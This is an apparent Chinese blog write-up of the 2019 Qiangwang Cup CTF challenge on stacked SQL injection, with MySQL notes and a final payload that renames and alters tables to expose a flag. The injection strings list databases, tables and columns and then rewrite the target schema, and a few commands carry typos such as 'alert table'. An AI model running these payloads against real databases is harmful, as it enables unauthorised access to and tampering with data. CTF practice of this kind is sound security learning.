[强网杯 2019]随便注

1知识点

1.1MySQL命令

原来堆叠注入竟然真的有用,真的就像这道题所说的,安全和开发缺一不可。很久没用过堆叠注入了。复习一下把。

  • 查看所有数据库:0’;show databases;%23
  • 查看当前数据库的表: 1’;show tables;%23
  • 查看某个表的某个字段: 0’;show columns from users;%23
  • 把users表名改为user:rename tables users to user
  • 把flag字段改为data:alert table words change flag data varchar(100);%23

在表中增加一个字段:
CREATE TABLE TABLE_1
(
       ID INT UNSIGNED NOT NULL PRIMARY KEY AUTO_INCREMENT,
       // ID列为无符号整型,该列值不可以为空,并不可以重复,而且自增。

)
AUTO_INCREMENT = 100;(ID列从100开始自增)
PRIMAPY是主键的意思,表示定义的该列值在表中是唯一的意思,不可以有重复。
UNSIGNED是无符号的意思,代表该字段没有正负。
AUTO_INCREMENT可以理解为自动递增的意思,每增加一条记录,值会自动加1。(例如在上面的例子中,ID列每增加一条记录,便会从100自增) 。

2.payload

还是自己写的题太少了,思路太狭窄了。用道了堆叠注入,因为题目过滤的很严,所以我们可以把words表和1919810931114514表给换一下,我们猜测php代码为select * from words where id = '{$_GET['inject']}';。至于找道这些数据库、表和字段的办法,我上面已经写过了。
直接给出payload:

1;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

你可能感兴趣的:(CTF)